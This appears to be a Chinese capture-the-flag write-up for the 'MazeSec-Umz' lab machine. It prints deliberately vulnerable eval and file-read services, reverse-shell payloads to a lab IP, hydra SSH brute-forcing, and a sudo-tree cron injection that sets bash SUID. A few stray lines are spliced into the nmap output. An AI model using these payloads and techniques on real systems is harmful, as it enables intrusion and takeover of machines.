avatar🌌
DingTomDingTom的博客

Next Generation Static Blog Framework.

记录我的学习和生活

MazeSec-Umz

信息收集

bash
$ nmap -sVC -O -p 80,222,9000 192.168.31.202 -oN nmapscan/nmap_tcp
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-20 02:21 EST
Nmap scan report for debian (192.168.31.202)
Host is up (0.00038s latency).

PORT     STATE SERVICE VERSION
[+] Got reverse shell from cc237b8c7cca~192.168.31.202-Linux-x86_64 😍️ Asssigned SessionID <2>
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
222/tcp  open  ssh     OpenSSH 7.9p1 Debian 10+deb10u3 (protocol 2.0)
| ssh-hostkey: 
可以去爆破 /proc/<ID>/cmdline 得知位置之后再进一步分析
|   256 52:c2:56:d3:6c:0d:e5:02:76:83:00:bf:5e:73:64:51 (ECDSA)
|_  256 1a:8e:9c:db:11:ad:da:2d:cd:76:31:d1:fc:e5:ef:8d (ED25519)
9000/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.12.12)
|_http-title: CTF Arbitrator
|_http-server-header: Werkzeug/3.1.3 Python/3.12.12
MAC Address: 00:0C:29:CC:56:2A (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.07 seconds

对这两个 web 端口进行目录爆破,没有什么结果,所以聚焦在 9000 的 web 端口

可以看到这样写的 json 格式确实可以进行读取文件 首先我想除了 readfile 还会有 exec 之类的指令吗

所以我们看到有一个 evalcode 的 action
我们使用 evalcode

我们继续探究,这个 code 到底是怎么填写的

我们首先尝试使用 python 执行代码

发现虽然显示失败,但是会尝试进行执行代码,那简单了,尝试 getshell 这个机器只能弹 sh,所以弹 sh

权限提升

bash
$ nc -lvnp 1111       
listening on [any] 1111 ...
connect to [192.168.31.187] from (UNKNOWN) [192.168.31.202] 41331
id
uid=1001(python) gid=1001(python) groups=1001(python)

获得了一个用户权限,我们去看一下这个东西的逻辑
pwncat 不太支持,你可以用 penelope

bash
cat flag_py
flag{flag1is_python

ls -la
total 92
drwxr-xr-x    1 root     root          4096 Nov 21 13:05 .
drwxr-xr-x    1 root     root          4096 Nov 21 13:05 ..
-rwxr-xr-x    1 root     root             0 Nov 21 13:05 .dockerenv
drwxr-xr-x    2 root     root          4096 Oct  8 09:28 bin
drwxr-xr-x    1 root     root          4096 Nov  4 08:55 code
drwxr-xr-x    2 root     root          4096 Nov 21 13:05 data
drwxr-xr-x    5 root     root           340 Nov 21 13:05 dev
drwxr-xr-x    1 root     root          4096 Nov 21 13:05 etc
-rw-------    1 node     node            23 Nov 21 13:05 flag_node
-rw-------    1 php      php             13 Nov 21 13:05 flag_php
-rw-------    1 python   python          20 Nov 21 13:05 flag_py
drwxr-xr-x    1 root     root          4096 Nov 21 13:05 home
drwxr-xr-x    1 root     root          4096 Oct  8 09:28 lib
drwxr-xr-x    5 root     root          4096 Oct  8 09:28 media
drwxr-xr-x    2 root     root          4096 Oct  8 09:28 mnt
drwxr-xr-x    2 root     root          4096 Oct  8 09:28 opt
dr-xr-xr-x  161 root     root             0 Nov 21 13:05 proc
drwx------    1 root     root          4096 Nov  4 08:56 root
drwxr-xr-x    3 root     root          4096 Oct  8 09:28 run
drwxr-xr-x    2 root     root          4096 Oct  8 09:28 sbin
drwxr-xr-x    2 root     root          4096 Oct  8 09:28 srv
dr-xr-xr-x   13 root     root             0 Nov 21 13:05 sys
drwxrwxrwt    1 root     root          4096 Nov  4 08:56 tmp
drwxr-xr-x    1 root     root          4096 Nov  4 08:55 usr
drwxr-xr-x    1 root     root          4096 Oct  8 09:28 var
bash
shell
pwd;cat app.py
/code
python
from flask import Flask, request, render_template
import requests
import json
import os

app = Flask(__name__)

# Target endpoint URLs
PYTHON_URL = " http://127.0.0.1:5000/process"
PHP_URL = " http://127.0.0.1:8080/index.php"

@app.route('/')
def index():
    return render_template('index.html')

def fetch_and_compare(json_payload):
    """
    Sends the payload to both backends. If any error (timeout, connection,
    or JSON decode) occurs, or if results differ, it returns a failure verdict.
    """

    # 1. Parse user input JSON
    try:
        data_to_send = json.loads(json_payload)
    except json.JSONDecodeError:
        failure_message = "Arbitration Failed! You are a hacker."
        # Cannot provide detailed raw text if the initial payload itself is invalid
        return (False, failure_message, "ERROR: Invalid input JSON payload.", "ERROR: Invalid input JSON payload.")

    headers = {'Content-Type': 'application/json'}

    # Initialize raw text with a clear error state for debugging purposes
    python_raw_text = "ERROR: Request failed, timed out, or returned non-JSON data."
    php_raw_text = "ERROR: Request failed, timed out, or returned non-JSON data."

    # 2. Request Python Service (Port 5000)
    try:
        response_py = requests.post(PYTHON_URL, json=data_to_send, headers=headers, timeout=5)
        python_raw_text = response_py.text
        python_response = response_py.json() # This will raise JSONDecodeError if response is not JSON
    except (requests.exceptions.RequestException, json.JSONDecodeError) as e:
        # Strict failure: Any error immediately triggers the failure verdict
        return (False, "Arbitration Failed! You are a hacker.", python_raw_text, php_raw_text)

    # 3. Request PHP Service (Port 8080)
    try:
        # Send raw payload for PHP to read via file_get_contents('php://input')
        response_php = requests.post(PHP_URL, data=json_payload, headers=headers, timeout=5)
        php_raw_text = response_php.text
        php_response = response_php.json() # This will raise JSONDecodeError if response is not JSON
    except (requests.exceptions.RequestException, json.JSONDecodeError) as e:
        # Strict failure: Any error immediately triggers the failure verdict
        return (False, "Arbitration Failed! You are a hacker.", python_raw_text, php_raw_text)

    # 4. Compare parsed JSON content
    # Normalize JSON strings by sorting keys for reliable comparison
    try:
        python_normalized = json.dumps(python_response, sort_keys=True, indent=4)
        php_normalized = json.dumps(php_response, sort_keys=True, indent=4)
    except Exception:
         # Safegard for unforseen serialization issues
         return (False, "Arbitration Failed! You are a hacker.", python_raw_text, php_raw_text)


    if python_normalized == php_normalized:
        # Success: Responses match
        return (True, python_normalized, python_normalized, php_normalized)
    else:
        # Failure: Responses do not match
        return (
            False,
            "Arbitration Failed! You are a hacker.",
            python_raw_text,
            php_raw_text
        )

@app.route('/submit', methods=['POST'])
def submit():
    json_payload = request.form.get('json_payload', '')

    # Get the arbitration verdict
    success, result, py_raw, php_raw = fetch_and_compare(json_payload)

    # Render the index page with the result
    return render_template('index.html',
        result=result,
        success=success,
        payload_text=json_payload,
        python_result="Arbitration Failed!",
        php_result="Arbitration Failed!"
    )

if __name__ == '__main__':
    # Arbitrator runs on its own port, e.g., 9000
    app.run(debug=False,host="0.0.0.0", port=9000)
bash
shell
pwd;cat pyagent.py
/code/agent
python
from flask import Flask, request, jsonify
import os
import sys
from io import StringIO

app = Flask(__name__)

@app.route('/process', methods=['POST'])
def process_action():
    try:
        data = request.get_json()
    except:
        return jsonify({'error': 'Invalid JSON input or missing "action" field.'}), 400

    if not data or 'action' not in data:
        return jsonify({'error': 'Invalid JSON input or missing "action" field.'}), 400

    action = data['action']

    if action == 'readfile':
        if 'file' not in data:
            return jsonify({'error': 'Missing "file" parameter for readfile action.'}), 400

        filename = data['file']

        try:
            with open(filename, 'r') as f:
                content = f.read()
                return jsonify({
                    "filename": filename,
                    "content": content
                })
        except FileNotFoundError:
            return jsonify({"error": f"File '{filename}' not found or not readable"}), 404
        except Exception as e:
            return jsonify({
                "error": f"Error reading file: {str(e)}",
                "type": type(e).__name__
            }), 500

    elif action == 'evalcode':
        if 'code' not in data:
            return jsonify({'error': 'Missing "code" parameter for evalcode action.'}), 400

        code_to_eval = data['code']

        old_stdout = sys.stdout
        redirected_output = StringIO()
        sys.stdout = redirected_output

        result = None
        error_type = None
        error_message = None

        try:
            result = eval(code_to_eval)

        except Exception as e:
            error_type = type(e).__name__
            error_message = str(e)
        finally:
            sys.stdout = old_stdout

        captured_output = redirected_output.getvalue()

        if error_type:
             return jsonify({
                "error": f"Code execution error ({error_type}): {error_message}",
                "type": error_type
            }), 500

        return jsonify({
            "code": code_to_eval,
            "result": str(result),
            "output": captured_output,
            "type": str(type(result).__name__)
        })

    else:
        return jsonify({'error': 'Unknown action. Supported actions: readfile, evalcode.'}), 400

if __name__ == '__main__':
    app.run(debug=True, host='127.0.0.1', port=5000)
bash
find | grep index.php
./agent/index.php

shell
cat ./agent/index.php
<?php
// Set response header to JSON
header('Content-Type: application/json');

// Read raw JSON input from the request body
$input_json = file_get_contents('php://input');
$data = json_decode($input_json, true);

// Check for valid JSON and the required 'action' field
if (json_last_error() !== JSON_ERROR_NONE || !is_array($data) || !isset($data['action'])) {
    http_response_code(400);
    echo json_encode(['error' => 'Invalid JSON input or missing "action" field.']);
    exit;
}

$action = $data['action'];

/**
 * Action 1: readfile - Path Traversal / Arbitrary File Read Vulnerability
 */
if ($action === 'readfile') {
    if (!isset($data['file'])) {
        http_response_code(400);
        echo json_encode(['error' => 'Missing "file" parameter for readfile action.']);
        exit;
    }

    $filename = $data['file'];

    // ⚠️ CTF Vulnerability: No path filtering, allows path traversal (../)

    if (file_exists($filename) && is_readable($filename)) {
        try {
            $content = file_get_contents($filename);
            echo json_encode([
                "filename" => $filename,
                "content" => $content
            ]);
        } catch (Exception $e) {
            http_response_code(500);
            echo json_encode(["error" => "Error reading file: " . $e->getMessage()]);
        }
    } else {
        http_response_code(404);
        echo json_encode(["error" => "File '{$filename}' not found or not readable"]);
    }

    exit;
}

/**
 * Action 2: evalcode - Remote Code Execution (RCE) Vulnerability
 */
if ($action === 'evalcode') {
    if (!isset($data['code'])) {
        http_response_code(400);
        echo json_encode(['error' => 'Missing "code" parameter for evalcode action.']);
        exit;
    }

    $code_to_eval = $data['code'];

    // ⚠️ CTF Vulnerability: Direct use of eval() without sanitization or sandboxing.
    // Attackers can execute arbitrary PHP code (e.g., system('ls -la'))

    ob_start(); // Capture output generated by the evaluated code (e.g., system() calls)
    try {
        // Use 'return' to capture the result of the expression/function call
        $result = eval("return " . $code_to_eval . ";");

        $output = ob_get_clean();

        echo json_encode([
            "code" => $code_to_eval,
            "result" => $result,
            "output" => $output,
            "type" => gettype($result)
        ]);

    } catch (ParseError $e) {
        ob_end_clean(); // Clean buffer on error
        http_response_code(500);
        echo json_encode([
            "error" => "Code execution error (ParseError): " . $e->getMessage(),
            "type" => "ParseError"
        ]);
    } catch (Throwable $e) {
        ob_end_clean(); // Clean buffer on error
        http_response_code(500);
        echo json_encode([
            "error" => "Code execution error: " . $e->getMessage(),
            "type" => get_class($e)
        ]);
    }

    exit;
}

// Fallback for unknown action
http_response_code(400);
echo json_encode(['error' => 'Unknown action. Supported actions: readfile, evalcode.']);
?>
bash
$ cat workspace/2.json      
{
  "action":"evalcode",
  "code":"system('busybox nc 192.168.31.187 4444 -e /bin/sh')"
}
bash
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.31.187] from (UNKNOWN) [192.168.31.202] 34967
id
uid=1000(php) gid=1000(php) groups=1000(php)

来个 shell

bash
cat flag_php
_flag2_isphp
bash
/code/agent $ ls -la
total 64
drwxr-xr-x    1 root     root          4096 Nov  4 08:56 .
drwxr-xr-x    1 root     root          4096 Nov  4 08:55 ..
-rw-r--r--    1 root     root          3109 Nov  3 09:44 index.php
-rw-r--r--    1 root     root          1035 Nov  4 08:55 node.js
drwxr-xr-x   68 root     root          4096 Nov  4 08:56 node_modules
-rw-r--r--    1 root     root         29482 Nov  4 08:56 package-lock.json
-rw-r--r--    1 root     root            52 Nov  4 08:56 package.json
-rw-r--r--    1 root     root          2416 Nov  3 09:43 pyagent.py
/code/agent $ cat node.js 
const express = require('express');
const app = express();
const port = 3000;

app.use(express.json());
app.use(express.urlencoded({ extended: true }));


app.post('/evalcode', (req, res) => {
    const codeToEval = req.body.code;

    if (!codeToEval) {
        return res.status(400).json({
            error: 'Missing "code" parameter in the POST body.',
            type: 'ValidationError'
        });
    }

    let result;
    let type;

    try {
        result = eval(codeToEval);
        type = typeof result;

        res.json({
            code: codeToEval,
            result: String(result),
            type: type
        });

    } catch (e) {
        res.status(500).json({
            error: `Code execution error: ${e.message}`,
            type: e.name
        });
    }
});

app.get('/', (req, res) => {
    res.send('Hello World!');
});

app.listen(port, () => {
    console.log(`Node.js server listening at http://localhost:${port}`);
    console.log(`Test endpoint: POST http://localhost:${port}/evalcode`);
});

我们构造 node 的反弹shell

bash
/tmp $ JSON_PAYLOAD=$(cat 3-DGUAYaQp.json )
/tmp $ echo $JSON_PAYLOAD
{"code":"require('child_process').exec('busybox nc 192.168.31.187 4444 -e /bin/sh')"}
/tmp $ PAYLOAD_LEN=$(printf "%s" "$JSON_PAYLOAD" | wc -c)
/tmp $  (
>  printf "POST /evalcode HTTP/1.1\r\n"
>  printf "Host: 127.0.0.1:3000\r\n"
>  printf "Content-Type: application/json\r\n"
>  printf "Content-Length: %s\r\n" "$PAYLOAD_LEN"
>  printf "Connection: close\r\n"
>  printf "\r\n"
>  printf "%s" "$JSON_PAYLOAD"
>  ) | busybox nc 127.0.0.1 3000
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 128
ETag: W/"80-rlRyW1hut6dcghy2UWIETcve7bI"
Date: Sat, 22 Nov 2025 08:17:20 GMT
Connection: close

[+] Got reverse shell from cc237b8c7cca~192.168.31.202-Linux-x86_64 😍️ AAssigned SessionID <2>
{"code":"require('child_process').exec('busybox nc 192.168.31.187 4444 -e /bin/sh')","result":"[object Object]","type":"object"}

/code/agent $ id
uid=1002(node) gid=1002(node) groups=1002(node)

/ $ cat flag_node 
have_@funnnnnnnngooos}

组合一下

flag{flag1is_python_flag2_isphphave_@funnnnnnnngooos}

根据提示说是一个用户的密码(作者在群里的提示)

bash
$ hydra -L /usr/share/wordlists/seclists/Usernames/xato-100.dir -p 'flag{flag1is_python_flag2_isphphave_@funnnnnnnngooos}' ssh://192.168.31.202:222 -I 
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-22 03:20:42
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 100 login tries (l:100/p:1), ~7 tries per task
[DATA] attacking ssh://192.168.31.202:222/
[222][ssh] host: 192.168.31.202   login: admin   password: flag{flag1is_python_flag2_isphphave_@funnnnnnnngooos}

$ pwncat-cs admin@192.168.31.202 -p 222
Password: *****************************************************
[03:21:59] 192.168.31.202:222: normalizing shell path                                                                                           manager.py:957           192.168.31.202:222: upgrading from /usr/bin/dash to /usr/bin/bash                                                                    manager.py:957
           192.168.31.202:222: registered new host w/ db                                                                                        manager.py:957
(local) pwncat$                                                                                                                                               
(remote) admin@debian:/$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
bash
(remote) admin@debian:/home/xj$ sudo -l
[sudo] password for admin: 
Matching Defaults entries for admin on debian:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User admin may run the following commands on debian:
    (ALL) /usr/bin/tree

读取思路

bash
(remote) admin@debian:/home/xj$ sudo /usr/bin/tree --fromfile /root/root.txt
/root/root.txt
`-- flag{woahiz}

0 directories, 1 file

提权思路

bash
(remote) admin@debian:/home/xj$ echo -n "chmod 4755 /bin/bash"|base64
Y2htb2QgNDc1NSAvYmluL2Jhc2g=

(remote) admin@debian:/home/xj/eval$ mkdir -p ' * * * * * root echo Y2htb2QgNDc1NSAvYmluL2Jhc2g= | base64 -d | bash'
(remote) admin@debian:/home/xj/eval$ sudo /usr/bin/tree -N -i --noreport -o /etc/cron.d/eval *

(remote) root@debian:/root# id
uid=1000(admin) gid=1000(admin) euid=0(root) groups=1000(admin)

这个机器前期还有别的思路,已知可以读取文件 可以去爆破 /proc/<ID>/cmdline 得知位置之后再进一步分析

MazeSec-Yibasuo
MazeSec-Neuroblue
Valaxy v0.28.0-beta.7 驱动|主题-Yunv0.28.0-beta.7